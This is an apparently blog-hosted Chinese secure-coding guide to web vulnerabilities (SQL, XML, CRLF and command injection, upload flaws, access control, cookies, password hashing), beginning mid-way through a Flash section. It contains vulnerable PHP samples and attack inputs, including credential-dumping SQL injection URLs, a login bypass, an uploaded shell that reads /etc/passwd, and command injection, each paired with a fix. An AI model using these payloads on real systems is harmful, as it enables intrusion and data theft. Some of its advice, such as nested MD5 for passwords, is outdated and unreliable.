代码被严格禁止:12System.security.allowDomain("*");loadMovie(param1,param2);ActionScript2.0 未初始化全局变量AS2.0 中接受用户通过 FlashVars 和 Querystring 中传入的数据并放到全局变量空间 中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下 AS 代码片段所示:如果用户在 GET 请求或者在 HTML 中作为一个对象参数将 userLoggedIn 设为 true, 如下所示:1http://www.xxxx.com/cn_ben/login.swf?Userlogin=ture解决方案:AS2.0 使用_resolve 属性捕获未定义的变量或函数,如下所示:123456// instantiate a new object var myObject: Object = new Object();// define the resolve function myObject.resolve = function(name) {return "未定义的变量";加载调用外部文件当 FLASH 加载调用外部文件的时候需要过滤掉里面的恶意内容,主要有 metadata 里面的数据和 flash mp3 player 里的 Mp3 ID3 Data,可以引发 XSS 漏洞(使攻击者可以执行任意 javascript),如下代码片段所示:123456789101112this.createTextField("txtMetadata", this.getNextHighestDepth(), 10, 10, 500, 500);txtMetadata.html = true;var nc: NetConnection = new NetConnection();nc.connect(null);var ns: NetStream = new NetStream(nc);ns.onMetaData = function(infoObject: Object) {for (var propName: String in infoObject) { txtMetadata.htmlText += propName + " = " + infoObject[propName]; }};ns.play("http://localhost/test.flv");如果 test.flv 中包含了 js 代码将被执行;1onID3 = function() { my_text.htmlText= this.id3.author;};8、禁止直接调用 ExternalInterface.call 来接受外部参数 ExternalInterface.call 可以直接调用客户端的 js 脚本,如下 as 代码片段所示:123456Import flash.external.*;……省略代码……ExternalInterface.call(用户输入变量,用户数据参数);……省略代码……如果用户提交变量 eval,提交参数为任意 js 语句,那么用户提交的代码就会被执行。服务端安全2.1. SQL 注入2.1.1. SQL 注入说明应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。 目前的数据库一般都是提供 api 以支持管理,应用使用底层开发语言如 Php,Java,asp, Python 与这些 api 进行通讯。对于数据库的操作,目前普遍使用一种 SQL 语言(Structured Query Language 语言,SQL 语言的功能包括查询、操纵、定义和控制,是 一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户指出 做什么而不需要指出怎么做),SQL 作为字符串通过 API 传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的 SQL 是合法的还是不合法的,它完全信任传入的数据,如果传入的 SQL 语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。2.1.2. SQL 注入影响 恶意用户利用 SQL 注入可以做到:可读取数据库中的库和表可执行系统命令可以修改任意文件可以安装木马后门2.1.3. SQL 注入示例代码示例以下PHP脚本的作用为检索数据库内的图书库存,该脚本存在SQL注入漏洞。1234567<?php header('Content-Type:text/html;charset=UTF-8'); $author = $_GET('author'); $con = pg_connect("host=localhost dbname=book user=test password=test"); $sqlstm = "SELECT id,title,author,publisher,date,price FROM books WHERE author = '$author' ORDER BY id"; $rs = pg_query($con,$sqlstm); ?>攻击实例利用代码示例的代理,进行正常的检索1http://example.com/book/seach.php?author=xx接下来让我们看一下针对此脚本的攻击方法。错误消息导致的信息泄露1http://example.com/book/seach.php?author='+and+cast((select +id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--执行,页面报错:1Waring:pg_query()[function_pg_query]Query failed ERROR:invalid input syntax for integer:admin:123456。错误消息中显示了用户名和密码为admin:123456。这就是利用SQL注入攻击致使信息泄露的手段。该子查询查找user表中的第一条数据的id和pwd字段后,返回将两者以冒号相连。然后尝试将字符串转换为integer类型,但由于转换类型出错,页面显示了错误信息。因此,我们也要注意,不要将程序的内部错误显示在错误信息中。UNION SELECT导致的信息泄露UNION SELECT 的作用为将两个SQL语句的检索结果求和。执行以下URL1http://example.com/book/seach.php?author='+union+select+id,pwd,name,addr,null,null,null+from users--书籍id 书名 作者名 出版社admin 123456 jack 北京市XXXXXX。test 123456 john 北京市XXXXXX。example 123456 example 北京市我们可以看到该语句查询出了user表的所有数据,再利用其他语句配合可将整个数据库打包下载,又被称为拖库攻击。使用SQL注入绕过认证当登陆页面存在SQL注入漏洞时,认证处理将被绕过,从而导致在不知道密码的情况下能成功登陆应用。以下是一个用户登陆页面1234567891011121314151617181920212223242526 <html> <head>登陆</head> <body> <form action="login.php" method="POST"> 用户名<input type="text" name="id"> 密码<input type="text" name="pwd"> <input type="submit" value="登陆"> </form> </body></html> 下面是接收用户名和密码后进行登陆处理的脚本。 <?php session_start(); header('Content-Type:text/html;charset=UTF-8'); $id = @$_POST['id']; $pwd = @$_POST['pwd']; $con = pg_connect("host=localhost dbname=book user=test password=test"); $sql="SELECT * FROM users WHERE id = '$id' and pwd='$pwd'"; $rs = pg_query($con,$sql);?>正常情况下,登陆页面输入用户名admin和密码123456才能登陆成功。但是假设攻击者在不知道密码的情况下输入’ or ‘a’=’a,这时登陆成功。此时,拼接后的SQL语句如下。1SELECT * FROM users WHERE id='admin' and pwd = ' ' OR 'a'='a'SQL语句的末尾被添加了OR ‘a’=’a’,因此where语句始终保持成立状态。如果登陆页面存在SQL注入漏洞,就可能使密码输入框形同虚设。其他攻击根据数据库引擎的不同,通过SQL注入还可能会达到以下效果。3.1. 执行OS命令3.2. 执行文件3.3、编辑文件3.4、通过HTTP请求攻击其他服务器2.1.4. SQL 注入解决方法解决 SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将 用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。对进入数据库的特殊字符(’”尖括号&*;等)进行转义处理,或编码转换。严格限制变量类型,比如整型变量就采用 intval()函数过滤,数据库中的存储字段必须对 应为 int 型。数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致 一些过滤模型被绕过。严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从 而最大限度的减少注入攻击对数据库的危害。避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误 信息进行一些判断。在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测,及时修补这些 SQL 注入漏洞。确认 PHP 配置文件中的 magicquotesgpc 选项保持开启参考:1xxxxxx2.2. 上传漏洞2.2.1. 常见上传漏洞2.2.1.1. 上传漏洞说明Web 应用程序在处理用户上传的文件操作时,如果用户上传文件的路径、文件名、扩 展名成为用户可控数据,就会导致直接上传脚本木马到 web 服务器上,直接控制 web 服务 器。2.2.1.2. 常见上传漏洞实例代码示例以下为用户上传图像文件的脚本。123456<body> <form action="recive.php" method="POST" enctype="multipart/form-data"> 文件<input type="file" name="imagfile"><input type="submit" value="上传"></body>下面是接收文件后将其保存的脚本12345<?php $tmpfile = $_FILES"imagfile"; $tofile = $_FILES"imagfile" move_uploaded_file($tmpfile,'imag'.$tofile)?>正常情况下,用户上传图像文件,并保存到服务器。攻击实例利用上面的代码,我们假设用户上传的不是图像文件,而是以下PHP脚本文件。123<?php system('/bin/cat /etc/passwd')?>这段PHP脚本的作用在于通过system函数调用系统命令cat来显示etc/passwd文件的内容。访问上传的文件,页面显示了etc/passwd文件的内容。由此可以知道上传的PHP脚本在服务器上被成功执行了。攻击者就能执行当前操作系统账号权限范围内的所有操作。解决方案检查上传文件扩展名白名单,不属于白名单内,不允许上传。上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析php、jsp、asp等脚本语言的目录。上传文件要保存的文件名和目录名由系统根据时间生成,不允许用户自定义。2.4. XML 注入漏洞XML injection,XML 注入漏洞。XML 注入类似于 SQL 注入,XML 文件一般用作存储数据及配置,如果在修改或新增 数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致 XML 注入漏洞。2.4.1. XML 注入示例文件内有如下 XML 信息12345678910<?xml version="1.0" encoding="UTF-8"?><USER ="guest"><name>user</name><passwd>123</passwd></USER><USER role="admin"><name>admin</name><passwd>1adtyr32e762t7te3</passwd></USER></xml>当 guest 权限用户修改密码时提交如下信息112345</passwd></USER><USER role="admin"> <name>admin</name><passwd>123456</passwd></USER><!---XML 文件被修改为12345678910111213<?xml version="1.0" encoding="UTF-8"?><USER rule="guest"><name>user</name> <passwd>12345</passwd> </USER> <USER rule="admin"> <name>admin</name> <passwd>123456</passwd> </USER><!---</passwd></USER> <USER role="admin"><name>admin</name> <passwd>1adtyr32e762t7te3</passwd> </USER>如以上信息所示,管理员的密码被修改。2.4.2. XMl 注入解决方案XML 注入主要预防手段是对 XML 中特殊字符做转码操作,按照以下转码规则123'n’ - New Line 'r’ - Carriage return 't’ - Tab2.5. HTTP 协议头漏洞超文本转移协议 (HTTP-Hypertext transfer protocol) 是一种详细规定了浏览器和万 维网服务器之间互相通信的规则,通过因特网传送万维网文档的数据传送协议。HTTP 协议本身有很多自己的特性,相关定义请参考 RFC2616。一些特征字会导致 HTTP 协议源 IP 的隐藏,一些构造的畸形请求会导致 HTTP 协议的错误。当强制终止 HTTP协议请求,并在请求后添加相关信息后,会导致添加的信息返回给客户端,最终导致修改返 回数据,此类漏洞叫 HTTP 协议头注入漏洞。2.5.1. HTTP 协议头 X-Forwarded-For 伪造漏洞2.5.1.1. X-Forwarded-For 伪造漏洞说明X-Forwarded-For:简称 XFF 头,它代表客户端,也就是 HTTP 请求端真实的 IP,只 有在通过了 HTTP 代理或者负载均衡服务器时才会添加该项。它不是 RFC 中定义的标准请 求头信息,在 squid 缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如 下:1X-Forwarded-For: client1, proxy1, proxy2对于客户端连接过来的 IP 我们在平时的日志分析,浏览信息记录,及数据分析会大量 的用到,甚至延伸到登录规则,注册规则,当用户自行在 HTTP 传输头中添加 X-Forwarded-For 字段,错误的判断程序会取得伪造的 IP,导致基于 IP 的日志分析失效, 导致依据来源IP判断权限的程序失效,所以对此类漏洞的防御尤为重要2.5.1.2. X-Forwarded-For 伪造漏洞攻击事例按照普通方式对于 XFF 的 IP 获取方式:12345678GET / HTTP/1.1 Host: www.vipkid.com.cn User-Agent: XS/CC XSX/CC/2.0 BY CC Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1,255.255.255.255 Referer: anonymous Connection: keep-alive If-Modified-Since: Sun, 26 Jan 2014 09:46:07 GMT Cache-Control: max-age=0记录 IP 为 127.0.0.1,造成来源 IP 伪造。2.5.1.3. X-Forwarded-For 伪造漏洞解决X-Forwarded-For 伪造根据网络结构不同分两种解决方法当前端没有负载设备时,读取 X-Forwarded-For 头最后一个 ip当前端有负载均衡 设备时,倒叙读取 X-Forwarded-For 头第一个非内网 IP。2.5.2.1. HTTP 响应头注入漏洞说明CRLF 说明 CRLF 就是回车(CR, ASCII 13, r) 换行(LF, ASCII 10, n)。 CR 和 LF 组合在一起即 CRLF。 Web 程序代码中把用户提交的参数未做过滤就直接输出到 HTTP 响应头 中,攻击者可以利用该漏洞来注入 HTTP 响应头,可以造成多种攻击、例如跨站和欺骗 用 户下载恶意可执行文件等攻击2.5.2.2. HTTP 响应头注入漏洞攻击实例此类漏洞最大的危害就是当插入回车换行符后,回车换行之后的数据会被回传回客户端, 导致了安全问题的产生,我们来看以下测试截图测试连接:1http://www.YYYYYYYYY.com/YYYYWeb/jsp/website/agentInvoke.jsp?agentid=%0D%0AX-foo:%20bar2.5.2.3. HTTP 响应头注入漏洞解决方案如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。 例如,当新行 传递到 header() 函数时,最新版本的 PHP 将生成一个警告并停止创建头文件。如果您的 PHP 版本能够阻止设置带有换行符的头文件,则其具备对 HTTP Response Splitting 的防 御能力。代码层面常见的解决方案:严格检查变量是否已经初始化在设置 HTTP 响应头的代码中,过滤回车换行(%0d%0a、%0D%0A)字符禁止 header()函数中的参数外界可控不要使用有存在 bug 版本的 apache2.6. 代码注入攻击2.6.1. 代码注入攻击说明web 应用代码中,允许接收用户输入一段代码,之后在 web 应用服务器上执行这段代 码,并返回给用户。由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控 制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至 可以直接控制数据库。2.6.2. 危险函数1234567891011121314151617181920212223string system(string command, int &return_var)command 要执行的命令 return_var 存放执行命令的执行后的状态值 string exec (string command, array &output, int &return_var)command 要执行的命令 output 获得执行命令输出的每一行字符串 return_var 存放执行命令后的状态值 void passthru (string command, int &return_var)command 要执行的命令 return_var 存放执行命令后的状态值 string shell_exec (string command) command 要执行的命令2.6.2. 漏洞实例2.6.2.1 system()注入攻击例1:123456789//ex1.php $dir = $_GET["dir"]; if (isset($dir)) {echo ""; dump(system("ls -al ".$dir)); echo ""; } ?>我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd提交以后,命令变成了 system(“ls -al | cat /etc/passwd”);2.6.2.2 eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixed eval(string code_str)1234567891011//eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php $var = "var"; if (isset($_GET["arg"])) { $arg = $_GET["arg"]; eval("$var = $arg;"); echo "$var =".$var; } ?>当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;动态函数123456789101112131415<?php func A() { dosomething(); } func B() { dosomething(); } if (isset($_GET["func"])) { $myfunc = $_GET["func"]; echo $myfunc(); } ?>程序员原意是想动态调用A和B函数,那我们提交http://www.sectop.com/ex.php?func=phpinfo漏洞产生2.6.2.3 防范方法尽量不要执行外部命令使用自定义函数或函数库来替代外部命令的功能使用escapeshellarg函数来处理命令参数使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“’”,双引号“"”,替换成“"”,分号“;”替换成“;”用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode = Onsafe_mode_exec_dir = /usr/local/php/bin/2.7. 框架安全待补充!2.8. 权限控制2.8.1. 水平权限控制Web 应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数 据所属人时,从用户提交的 request 参数(用户可控数据)中,获取了数据所属人 id,导 致恶意攻击者可以通过变换数据 ID,或变换所属人 id,修改不属于自己的数据。2.8.1.1. 水平权限控制示例假设 A 用户在 某商城 订单号为 12345,当访问页面12https://www.example.com/mall/?/#/personal/order/detail/12345`可以查询自己的订单,当用户改变订单号后,可访问非本人订单,导致了非常严重的信息泄漏。2.8.2. 垂直权限控制由于 web 应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户 只要猜测其他管理页面的 URL,就可以访问或控制其他角色拥有的数据或页面,达到权限 提升目的。2.8.2.1. 垂直权限控制示例如下代码,页面中只做了对菜单控制的代码123456<tr><td> <a href="/user.jsp">管理个人信息 管理个人信息 </a> </td></tr> <%if (power.indexOf("administrators")>-1){%> <tr><td>管理所有用户 管理所有用户 </td></tr> <%}%>当用户直接查看源代码,即可管理所有用户。2.8.3. 权限控制解决方案权限问题出现的场景多种多样,追根揪源是对用户身份验证及验证对应权限出现纰漏导 致,所以建议以下方式验证。当用户登录后,建立一张对用户权限的临时表,表内对访问权限有着详细规定,当用户 操作与权限相关时,在表内验证用户身份后再进行处理。WEB 数据安全3.1. HTTP 传输安全3.1.1. HTTP 传输签名3.1.1.1. HTTP 传输签名说明当 HTTP 传输与互联网中,所有中间承载网络及设备可以嗅探到传输过程,由于业务严 重性及性能考虑,在不使用 HTTPS 传输的前提下,签名便预防数据传输中被修改3.1.1.2. http 传输攻击案例用户 A 用 B 用户架设无线热点发送如下请求1http://www.example.com/order.action?user=admin&orderid=123B 用户抓包发现连接,修改 orderid,便可查询其他订单信息,导致信息泄漏3.1.1.3. 解决方案演示当用户提交连接时,添加对数据验证 KEY 防止中间人修改相关连接1234567<?phpfunction jdkey($user,$orderid) { $key = md5(md5(md5($user.'0=0+0=0'.$orderid))); return $key; } ?>按照以上代码生成 key,生成如下连接1http://www.example.com/order.action?user=admin&orderid=123&key= c6d41ec7a47d9b3f1345ded166e6eca5中间人即使发现连接,也无法遍历所有订单号3.2. Cookie 安全3.2.1. HTTP 协议 HttpOnly 属性Cookie http only,是设置 COOKIE 时,可以设置的一个属性,如果 COOKIE 没有设 置这个属性,该 COOKIE 值可以被页面脚本读取。当攻击者发现一个 XSS 漏洞时,通常会写一段页面脚本,窃取用户的 COOKIE,为了 增加攻击者的门槛,防止出现因为 XSS 漏洞导致大面积用户 COOKIE 被盗,所以应该在设 置认证 COOKIE 时,增加这个属性。属性设置方法1response.setHeader("SET-COOKIE", "ceshi=" + request.getParameter("cookie") + "; HttpOnly");3.2.2. HTTP 协议 secure 属性Cookie http secure,是设置 COOKIE 时,可以设置的一个属性,当 cookie 设置此属 性后,只能在 HTTPS 传输中才能传输,否则不能传输,增加可 cookie 的安全性。使用 HTTPS 通讯,所以相关 cookie 设置为 secure 属性属性设置方法1response.setHeader("SET-COOKIE", "user=" + request.getParameter("cookie") + "; HttpOnly ; Secure ");3.3. 密码存储安全3.3.1. 单次 MD5 加密算法问题3.3.1.1. 单次 MD5 加密算法问题说明MD5 即 Message-Digest Algorithm 5(信息-摘要算法 5),用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍 已有 MD5 实现。现在黑客会利用彩虹表和穷举算法,对于 MD5 加密的密码破解率相对较高,所以不建 议采用单次 MD5 加密存储重要数据。3.3.1.2. 单次 MD5 加密攻击示例某校园网络遭入侵,获取用户名及 MD5 加密密码部分密码在网上彩虹表破解,破解概率 75%3.3.1.3. 解决方法重要数据加密中严谨使用单次 MD5 加密。123456789101112131415161718<?phpFunction JD_md5($str,$n) { $md5str = $str; If($n<3) { return(“encrypt times less”); }else { while($n) { $md5str = md5($md5str); $n--; } } return($md5str); } ?>3.4.2. BASE64 编码安全3.4.2.1. Base64 编码说明很多开发认为 base64 是加密方法,这是造成很多问题的原因,base64 设计之初是为 了字符编码,并不是加密,所以 base64 可以当作不是一眼就能看懂的明文。3.4.2.2. Base64 攻击示例当某系统使用如下连接下载,为防止用户查看下载地址,错误的使用了 base64 编码下载地址,导致任意文件的下载,相关连接如下3.4.2.3. 解决方法对于 base64、escape、urlencode 等编码不能当作加密算法使用,在应用中禁止自己编写 加密算法,重要数据建议使用多次 MD5 加密、多次随机盐加密、或 AES 加密3.4.3. 随机加密算法(加盐法)3.4.3.1. 加盐法说明在重要数据存储时,用 MD5 加密、BASE64 编码等方式存储均存在安全较大的安全隐 患,所以对于重要数据的存储、传输建议使用随机 的加密方式。 随机函数用于加密其中方法非常多,组合法、跳变法、重排法、多模法,这里介绍一种方 法:加盐法。加盐法的最大特色是增加加密强度,它是一种动态方法。经过加盐处理可以做到,即 使用同样的明文、同样的用户密码每次加密得到的密文都不一样,密码、明文、密文没有 固定的对应关系这样当然不好分析了。3.4.3.2. 加盐法示例3.5. 错误处理当用户提交数据不合法,或者 web 应用程序在处理某种数据出错时,会返回一些程序 异常信息,从而暴露很多对攻击者有用的信息,攻击者可以利用这些错误信息,制定下一 步攻击方案。3.5.1. 攻击示例用户提交数据参数错误,导致程序报如下错误通过以上报错信息我们可以看出,服务器使用的是 struts2,当攻击者发现使用的后台 框架后,会针对后台框架进行相关的漏洞收集或挖掘通过以上报错信息,直接暴露物理路径,攻击者可以结合其他漏洞上传木马到可访问的目 录。3.5.2. 解决方法以上报错的示例,较为明显的暴露了服务器相关信息,在我们的应用中,应该对 HTTP 返回值做控制,当非 200 和 302 返回时,全部跳到指定页面。\w\_\. ↩
2017年11月16日
967 阅读
0 评论
0 点赞
1
2
3
...
22